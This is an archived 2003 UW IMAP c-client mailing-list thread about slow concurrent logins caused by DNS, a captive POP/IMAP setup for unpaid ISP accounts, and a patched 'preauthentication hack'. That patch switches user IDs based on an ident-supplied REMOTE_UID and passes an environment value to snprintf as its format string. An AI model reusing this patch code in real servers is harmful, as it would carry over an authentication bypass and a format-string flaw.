[140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9989TMZ025158 for ; Thu, 9 Oct 2003 01:09:29 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9989ROA009029 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 9 Oct 2003 01:09:28 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9989HSa016084; Thu, 9 Oct 2003 01:09:18 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9986Xfc043336 for ; Thu, 9 Oct 2003 01:06:33 -0700 Received: from mailer.unicite.fr.netcentrex.net ([62.161.167.249]) by mxu3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9986NpW012062 for ; Thu, 9 Oct 2003 01:06:31 -0700 Received: from droopy ([213.56.166.185]) by mailer.unicite.fr.netcentrex.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 4GAJWY7Z; Thu, 9 Oct 2003 10:06:22 +0200 Message-Id: <01f801c38e3c$3a36aeb0$b9a638d5@unicite.fr.netcentrex.net> Date: Thu, 9 Oct 2003 10:06:22 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Guillaume Vaillant" To: , "Mark Crispin" Subject: Problems with simultaneous IMAP connection References: <200310062051.NAA30551@sheridan.sibble.net> <200310062112.OAA30674@sheridan.sibble.net> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='PRIORITY_NO_NAME, QUOTED_EMAIL_TEXT, REFERENCES, __CT, __CTE, __CTYPE_CHARSET_QUOTED, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MIMEOLE, __HAS_MSGID, __HAS_MSMAIL_PRI, __HAS_X_PRIORITY, __MIME_VERSION, __OUTLOOK_MSGID_1, __REFERENCES, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I'm trying to use the c-client library to perform some IMAP requests My tools needs to establish simultaneously more than one IMAP connections to the IMAP server. To do that I'm calling the MAILSTREAM *mail_open (MAILSTREAM *oldstream,char *name,long options) for each connection. The result is strange. I have a big time before the connection answer. If i make some network traces i can see that this function - connect to the server - request server capabilities - And request login But the request login step is done after a long time. Time 0 ms : My tools connect to server on port 143 Time + 2 ms : Server reply OK + ready Time + 2 ms : My tools request capabilities Time + 3 ms : Server return capabilities .... During this time other connection to the imap server was done but each connection are blocked after Server return capabilities Time + 4000 ms : My tools request login Why the request login is so long ? Thanks for your help Guyom ----- Original Message ----- From: "Harondel J. Sibble" To: "Mark Crispin" Cc: Sent: Monday, October 06, 2003 10:39 PM Subject: Re: problems with large imap folder/file > > > On 6 Oct 2003 at 13:26, Mark Crispin wrote: > > There are no calls to fs_resize() in the mbx driver expunge. Something > > else is going on. I would like to know what that is. > > Heh, me too. Something else is going on indeed, just called the client back > and it's working fine now, while 1 hour ago it wasn't and the hour > before that it worked fine for me. > > Actually that concerns me more than it not working at all. > > > Well, you can tell your client that this "someone they don't know" is the > > author of the imapd software that your client is giving root-level access. > > I've explained that to them, we are going to leave it and see if it continues > to work okay. If not, then I'll contact you about remote access. In that > case can you send me a pgp signed/encrypted email with phone contact info? > That way I can pass you login info directly. > > -- > Harondel J. Sibble > Sibble Computer Consulting > Creating solutions for the small business and home computer user. > help@pdscc.com (use pgp keyid 0x3AD5C11D) http://www.pdscc.com > (604) 739-3709 (voice/fax) (604) 686-2253 (pager) > From pinedev@shivax2.cac.washington.edu Thu Oct 9 05:20:35 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 9 Oct 2003 05:20:35 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h99CKZMZ000832 for ; Thu, 9 Oct 2003 05:20:35 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h99CKXqm022715 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 9 Oct 2003 05:20:33 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h99CK8XU092548; Thu, 9 Oct 2003 05:20:08 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h99CJEfc049830 for ; Thu, 9 Oct 2003 05:19:14 -0700 Received: from mailer.unicite.fr.netcentrex.net ([62.161.167.249]) by mxu1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h99CJ8TN003430 for ; Thu, 9 Oct 2003 05:19:12 -0700 Received: from droopy ([213.56.166.185]) by mailer.unicite.fr.netcentrex.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 4GAJWZJ5; Thu, 9 Oct 2003 14:19:07 +0200 Message-Id: <02f701c38e5f$89458da0$b9a638d5@unicite.fr.netcentrex.net> Date: Thu, 9 Oct 2003 14:19:07 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Guillaume Vaillant" To: "Guillaume Vaillant" , , "Mark Crispin" Subject: Re: Problems with simultaneous IMAP connection MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='PRIORITY_NO_NAME, QUOTED_EMAIL_TEXT, __CT, __CTE, __CTYPE_CHARSET_QUOTED, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MIMEOLE, __HAS_MSGID, __HAS_MSMAIL_PRI, __HAS_X_PRIORITY, __MIME_VERSION, __OUTLOOK_MSGID_1, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, This problem occurs only on the RedHat Linux 7.3. I have also the same tools on RedHat Linux 6.2 and it works fine. Can you tell me which version of c-client should I use for RedHat Linux 7.3 ? Thanks for your help Guyom ----- Original Message ----- From: "Guillaume Vaillant" To: ; "Mark Crispin" Sent: Thursday, October 09, 2003 10:06 AM Subject: Problems with simultaneous IMAP connection > Hello, > > I'm trying to use the c-client library to perform some IMAP requests > My tools needs to establish simultaneously more than one IMAP connections to > the IMAP server. > To do that I'm calling the MAILSTREAM *mail_open (MAILSTREAM *oldstream,char > *name,long options) for each connection. > The result is strange. I have a big time before the connection answer. > > If i make some network traces i can see that this function > - connect to the server > - request server capabilities > - And request login > > But the request login step is done after a long time. > Time 0 ms : My tools connect to server on port 143 > Time + 2 ms : Server reply OK + ready > Time + 2 ms : My tools request capabilities > Time + 3 ms : Server return capabilities > .... During this time other connection to the imap server was done but each > connection are blocked after Server return capabilities > Time + 4000 ms : My tools request login > > Why the request login is so long ? > > Thanks for your help > Guyom > > > > ----- Original Message ----- > From: "Harondel J. Sibble" > To: "Mark Crispin" > Cc: > Sent: Monday, October 06, 2003 10:39 PM > Subject: Re: problems with large imap folder/file > > > > > > > > On 6 Oct 2003 at 13:26, Mark Crispin wrote: > > > There are no calls to fs_resize() in the mbx driver expunge. Something > > > else is going on. I would like to know what that is. > > > > Heh, me too. Something else is going on indeed, just called the client > back > > and it's working fine now, while 1 hour ago it wasn't and the > hour > > before that it worked fine for me. > > > > Actually that concerns me more than it not working at all. > > > > > Well, you can tell your client that this "someone they don't know" is > the > > > author of the imapd software that your client is giving root-level > access. > > > > I've explained that to them, we are going to leave it and see if it > continues > > to work okay. If not, then I'll contact you about remote access. In that > > case can you send me a pgp signed/encrypted email with phone contact info? > > That way I can pass you login info directly. > > > > -- > > Harondel J. Sibble > > Sibble Computer Consulting > > Creating solutions for the small business and home computer user. > > help@pdscc.com (use pgp keyid 0x3AD5C11D) http://www.pdscc.com > > (604) 739-3709 (voice/fax) (604) 686-2253 (pager) > > > From pinedev@shivax2.cac.washington.edu Thu Oct 9 10:00:06 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 9 Oct 2003 10:00:06 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h99H05MZ010218 for ; Thu, 9 Oct 2003 10:00:06 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h99H03OA023519 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 9 Oct 2003 10:00:04 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h99GxpvE041308; Thu, 9 Oct 2003 09:59:52 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h99Gx4fc065408 for ; Thu, 9 Oct 2003 09:59:05 -0700 Received: from mailer.unicite.fr.netcentrex.net ([62.161.167.249]) by mxu3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h99Gx2pW012898 for ; Thu, 9 Oct 2003 09:59:03 -0700 Received: from droopy ([213.56.166.185]) by mailer.unicite.fr.netcentrex.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 4GAJWZTX; Thu, 9 Oct 2003 18:59:01 +0200 Message-Id: <032801c38e86$a35a45b0$b9a638d5@unicite.fr.netcentrex.net> Date: Thu, 9 Oct 2003 18:59:01 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Guillaume Vaillant" To: "Guillaume Vaillant" , , "Mark Crispin" Subject: Re: Problems with simultaneous IMAP connection MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='PRIORITY_NO_NAME, QUOTED_EMAIL_TEXT, __CT, __CTE, __CTYPE_CHARSET_QUOTED, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MIMEOLE, __HAS_MSGID, __HAS_MSMAIL_PRI, __HAS_X_PRIORITY, __MIME_VERSION, __OUTLOOK_MSGID_1, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I have found my problem. It comes from the DNS. The c-client mail_open function try to use the DNS. I should add the entry in the /etc/hosts and now the request is faster. Does someone know how to deactivate the dns request ? Thanks for your help Guyom ----- Original Message ----- From: "Guillaume Vaillant" To: "Guillaume Vaillant" ; ; "Mark Crispin" Sent: Thursday, October 09, 2003 2:19 PM Subject: Re: Problems with simultaneous IMAP connection > Hello, > > This problem occurs only on the RedHat Linux 7.3. > I have also the same tools on RedHat Linux 6.2 and it works fine. > > Can you tell me which version of c-client should I use for RedHat Linux 7.3 > ? > > Thanks for your help > Guyom > > ----- Original Message ----- > From: "Guillaume Vaillant" > To: ; "Mark Crispin" > Sent: Thursday, October 09, 2003 10:06 AM > Subject: Problems with simultaneous IMAP connection > > > > Hello, > > > > I'm trying to use the c-client library to perform some IMAP requests > > My tools needs to establish simultaneously more than one IMAP connections > to > > the IMAP server. > > To do that I'm calling the MAILSTREAM *mail_open (MAILSTREAM > *oldstream,char > > *name,long options) for each connection. > > The result is strange. I have a big time before the connection answer. > > > > If i make some network traces i can see that this function > > - connect to the server > > - request server capabilities > > - And request login > > > > But the request login step is done after a long time. > > Time 0 ms : My tools connect to server on port 143 > > Time + 2 ms : Server reply OK + ready > > Time + 2 ms : My tools request capabilities > > Time + 3 ms : Server return capabilities > > .... During this time other connection to the imap server was done but > each > > connection are blocked after Server return capabilities > > Time + 4000 ms : My tools request login > > > > Why the request login is so long ? > > > > Thanks for your help > > Guyom > > > > > > > > ----- Original Message ----- > > From: "Harondel J. Sibble" > > To: "Mark Crispin" > > Cc: > > Sent: Monday, October 06, 2003 10:39 PM > > Subject: Re: problems with large imap folder/file > > > > > > > > > > > > > On 6 Oct 2003 at 13:26, Mark Crispin wrote: > > > > There are no calls to fs_resize() in the mbx driver expunge. > Something > > > > else is going on. I would like to know what that is. > > > > > > Heh, me too. Something else is going on indeed, just called the client > > back > > > and it's working fine now, while 1 hour ago it wasn't and the > > hour > > > before that it worked fine for me. > > > > > > Actually that concerns me more than it not working at all. > > > > > > > Well, you can tell your client that this "someone they don't know" is > > the > > > > author of the imapd software that your client is giving root-level > > access. > > > > > > I've explained that to them, we are going to leave it and see if it > > continues > > > to work okay. If not, then I'll contact you about remote access. In > that > > > case can you send me a pgp signed/encrypted email with phone contact > info? > > > That way I can pass you login info directly. > > > > > > -- > > > Harondel J. Sibble > > > Sibble Computer Consulting > > > Creating solutions for the small business and home computer user. > > > help@pdscc.com (use pgp keyid 0x3AD5C11D) http://www.pdscc.com > > > (604) 739-3709 (voice/fax) (604) 686-2253 (pager) > > > > > > From pinedev@shivax2.cac.washington.edu Wed Oct 15 15:51:05 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 15 Oct 2003 15:51:05 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9FMp4lU031352 for ; Wed, 15 Oct 2003 15:51:04 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9FMp0OA018520 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 15 Oct 2003 15:51:01 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9FMorxs006140; Wed, 15 Oct 2003 15:50:53 -0700 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9FMnJfc023570 for ; Wed, 15 Oct 2003 15:49:19 -0700 Received: from clara.unet.brandeis.edu (clara.unet.brandeis.edu [129.64.99.165]) by mxu5.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9FMnHQP029132 for ; Wed, 15 Oct 2003 15:49:18 -0700 Received: from sam.unet.brandeis.edu (sam.unet.brandeis.edu [129.64.99.130]) by clara.unet.brandeis.edu (8.12.10/8.12.10) with ESMTP id h9FMnG6v004972 for ; Wed, 15 Oct 2003 18:49:16 -0400 Received: from sam.unet.brandeis.edu (IDENT:61039@localhost.localdomain [127.0.0.1]) by sam.unet.brandeis.edu (8.12.8/8.12.8) with ESMTP id h9FMnGgM025356 for ; Wed, 15 Oct 2003 18:49:16 -0400 Received: (from sahil@localhost) by sam.unet.brandeis.edu (8.12.8/8.12.8/Submit) id h9FMnG5a025354 for c-client@u.washington.edu; Wed, 15 Oct 2003 18:49:16 -0400 Message-Id: <20031015224916.GA24981@brandeis.edu> Date: Wed, 15 Oct 2003 18:49:16 -0400 Reply-To: "sahil@brandeis.edu" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sahil Tandon To: c-client@u.washington.edu Subject: Preauthentication hack not functional. Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='SIGNATURE_SHORT_DENSE, __CD, __CT, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __MIME_VERSION, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Greetings, My question is regarding *modified* UW IMAP code, so I understand that it might be beyond the scope of this list. However, I did not come across any rules explicitly barring such queries, so here goes: I'm working with Rich Graves' SRPM, which is here: Therein exist a number of straightforward patches, most of which I've left unchanged. I slightly modified the brandeis-cleartextok.patch, and that seems to be working just fine. Since I'm hardly proficient in C, I'm running into difficulty understanding the two following sections in brandeis-paths.patch. (the following modifies /src/imapd/imapd.c) + snprintf(tmp,6,getenv("REMOTE_UID")); + if (strlen(tmp) > 3) { + uid = atol(tmp); + i = ident_setuid_hack(uid); + switch (i) { + case 1: + syslog (LOG_INFO,"Bad ident (setuid failed) REMOTE_UID uid=%d + host=%.80s",uid,tcp_clienthost ()); + break; + default: + break; /* Fall through as root, requiring login */ + } + } Does the above just get the client's UID and then pass it as parameter to ident_setuid_hack()? The latter function, which is "patched into" /src/osdep/unix/env_unix.c, is: + +unsigned long ident_setuid_hack (long uid) +{ + long ret = 0; /* Return value */ + struct passwd *pw; + if ((uid < 500) || (uid > 65533)) { + syslog (LOG_INFO,"Bad ident (uid out of range) REMOTE_UID uid=%d + host=%.80s",uid,tcp_clienthost ()); + return 3; + } + pw = getpwuid (uid); + if (pw == NULL) { + syslog (LOG_INFO,"Bad ident (no such uid) REMOTE_UID uid=%d host=%.80s", + uid,tcp_clienthost ()); + return 2; + } + ret = (setgid (pw->pw_gid) || initgroups (pw->pw_name,pw->pw_gid) || + setuid (uid)); + return ret; +} + Here I understand the function checks to make sure the UID is between a certain range, confirms there isn't a null pw associated with it, and eventually gets to the section were ret is set. That's where I'm lost. What exactly is going on here? I suspect these two sections of code are responsible for changing the UID of the daemon so that it preauthenticates the user, but after building and installing this RPM on my server, the preauth does not work. Perhaps if I understood what's going on in ret, I could troubleshoot more effectively. Also, I'm aware of other preauth methods (i.e. via /etc/rimapd + ssh), but I'd like to get this implementation working instead. I decided to post to this list (before USENET) because my question is UW-specific, but let me know if I should take it elsewhere. Thanks, Sahil -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Oct 15 16:12:44 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 15 Oct 2003 16:12:44 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9FNCilU032638 for ; Wed, 15 Oct 2003 16:12:44 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9FNCgOA019339 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 15 Oct 2003 16:12:42 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9FNCbxs015572; Wed, 15 Oct 2003 16:12:38 -0700 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9FNBHfc023704 for ; Wed, 15 Oct 2003 16:11:17 -0700 Received: from clara.unet.brandeis.edu (clara.unet.brandeis.edu [129.64.99.165]) by mxu7.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9FNBGK4001661 for ; Wed, 15 Oct 2003 16:11:16 -0700 Received: from quixote.unet.brandeis.edu (quixote.unet.brandeis.edu [129.64.99.99]) by clara.unet.brandeis.edu (8.12.10/8.12.10) with ESMTP id h9FNBF6v006703 for ; Wed, 15 Oct 2003 19:11:15 -0400 Received: from quixote.unet.brandeis.edu (localhost.localdomain [127.0.0.1]) by quixote.unet.brandeis.edu (8.12.8/8.12.8) with ESMTP id h9FNBFsJ018680 for ; Wed, 15 Oct 2003 19:11:15 -0400 Received: from localhost (rcgraves@localhost) by quixote.unet.brandeis.edu (8.12.8/8.12.8/Submit) with ESMTP id h9FNBERT018676 for ; Wed, 15 Oct 2003 19:11:15 -0400 Message-Id: Date: Wed, 15 Oct 2003 19:11:14 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Rich Graves To: c-client@u.washington.edu Cc: c-client@u.washington.edu Subject: Re: Preauthentication hack not functional. In-Reply-To: <20031015224916.GA24981@brandeis.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: quixote.unet.brandeis.edu: rcgraves owned process doing -bs X-X-Sender: rcgraves@quixote.unet.brandeis.edu X-Uwash-Spam: Gauge=IIII, Probability=4%, Report='IN_REP_TO, SIGNATURE_SHORT_DENSE, X_AUTH_WARNING, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'll answer this off the list. I've told you before that the right answers to this problem are kerberos or trusted .shosts spawning rimapd. -- Rich Graves UNet Systems Administrator From pinedev@shivax2.cac.washington.edu Thu Oct 16 04:47:35 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 16 Oct 2003 04:47:34 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9GBlYlU025965 for ; Thu, 16 Oct 2003 04:47:34 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9GBlUqm019028 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 16 Oct 2003 04:47:30 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9GBlLvE013666; Thu, 16 Oct 2003 04:47:21 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9GBkEfc069428 for ; Thu, 16 Oct 2003 04:46:15 -0700 Received: from venus.glocalnet.com (mail.glocalnet.com [213.163.128.130]) by mxu4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9GBkC5I007413 for ; Thu, 16 Oct 2003 04:46:13 -0700 Message-Id: <46538C88A91DE841A71F583AB1E67DFE6DE859@venus.glocalnet.com> Date: Thu, 16 Oct 2003 13:46:48 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "James Wilde" To: Subject: Captive pop and imap accounts Content-Class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-MS-Has-Attach: X-MS-TNEF-Correlator: X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='SIGNATURE_SHORT_DENSE, SUPERLONG_LINE, __CT, __CTE, __CTYPE_CHARSET_QUOTED, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MIMEOLE, __HAS_MSGID, __IMS_MSGID, __MIME_VERSION, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I just joined this list five minutes ago, and I've already had a message = with a title that looks as though it handles a related topic. But just = in case, I'll fire this off, as the archives are still something of an = unknown quantity. What I would like to do is this: set up a dummy server which accepts = logins from all who use pop3 or imap protocols, and sends them one = message - the same message to all. The scenario resembles this one: we are an ISP. Customer doesn't pay = the bill. He gets routed to a captive server, from which we wish him to = get one message: Pay your bill. When bill is paid, he is no longer = routed to that server. I have half-managed it for imap clients, by creating a file = /etc/imap.alert, which pops up during some login. I'd like something = similar which works for pop. Ideally I'd like to be able to send a full = message, but I'll settle for imap.alert's one liner. All suggestions very welcome. TIA mvh/regards James Glocalnet - Sweden's best ISP We're #3; we try harder! =20 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Oct 16 07:57:44 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 16 Oct 2003 07:57:43 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9GEvhlU030591 for ; Thu, 16 Oct 2003 07:57:43 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9GEvfOA010077 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 16 Oct 2003 07:57:42 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9GEvbXU015666; Thu, 16 Oct 2003 07:57:37 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9GEuGfc027084 for ; Thu, 16 Oct 2003 07:56:16 -0700 Received: from clara.unet.brandeis.edu (clara.unet.brandeis.edu [129.64.99.165]) by mxu3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9GEuFpW032261 for ; Thu, 16 Oct 2003 07:56:15 -0700 Received: from quixote.unet.brandeis.edu (quixote.unet.brandeis.edu [129.64.99.99]) by clara.unet.brandeis.edu (8.12.10/8.12.10) with ESMTP id h9GEuE6v007095 for ; Thu, 16 Oct 2003 10:56:14 -0400 Received: from quixote.unet.brandeis.edu (localhost.localdomain [127.0.0.1]) by quixote.unet.brandeis.edu (8.12.8/8.12.8) with ESMTP id h9GEuEsJ022432 for ; Thu, 16 Oct 2003 10:56:14 -0400 Received: from localhost (rcgraves@localhost) by quixote.unet.brandeis.edu (8.12.8/8.12.8/Submit) with ESMTP id h9GEuD0n022428 for ; Thu, 16 Oct 2003 10:56:14 -0400 Message-Id: Date: Thu, 16 Oct 2003 10:56:13 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Rich Graves To: c-client@u.washington.edu Subject: Re: Captive pop and imap accounts In-Reply-To: <46538C88A91DE841A71F583AB1E67DFE6DE859@venus.glocalnet.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: quixote.unet.brandeis.edu: rcgraves owned process doing -bs X-X-Sender: rcgraves@quixote.unet.brandeis.edu X-Uwash-Spam: Gauge=I, Probability=1%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, SIGNATURE_SHORT_DENSE, X_AUTH_WARNING, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 16 Oct 2003, James Wilde wrote: > The scenario resembles this one: we are an ISP. Customer doesn't pay > the bill. He gets routed to a captive server, from which we wish him to > get one message: Pay your bill. When bill is paid, he is no longer > routed to that server. We have something somewhat similar. Our systems are such that everyone in kerberos-land can successfully authenticate to any of several IMAP servers, but home directories exist only on the user's "home" server. We return a "Your mail is not on this server" inbox to clients configured for the wrong imap server. - myHomeDir = cpystr (home); /* set home directory */ + sprintf (tmp,"/var/imap/%.1s/%s",myUserName,myUserName); + if (!stat (tmp,&sbuf) && (sbuf.st_mode & S_IFDIR)) { + myHomeDir = cpystr (tmp); + } else { + myHomeDir = ANONYMOUSHOME; + sysInbox = "/var/spool/mail/anonymous"; + } A read-only anonymous INBOX works fine for IMAP, and saves you from the limitations of imapalert. However, POP3 appears to *require* a writeable INBOX, so our POP3 users who log on to the "wrong" server get nothing. This is acceptable to us because we strongly recommend IMAP and refuse non-SSL POP3 logins (i.e., the default 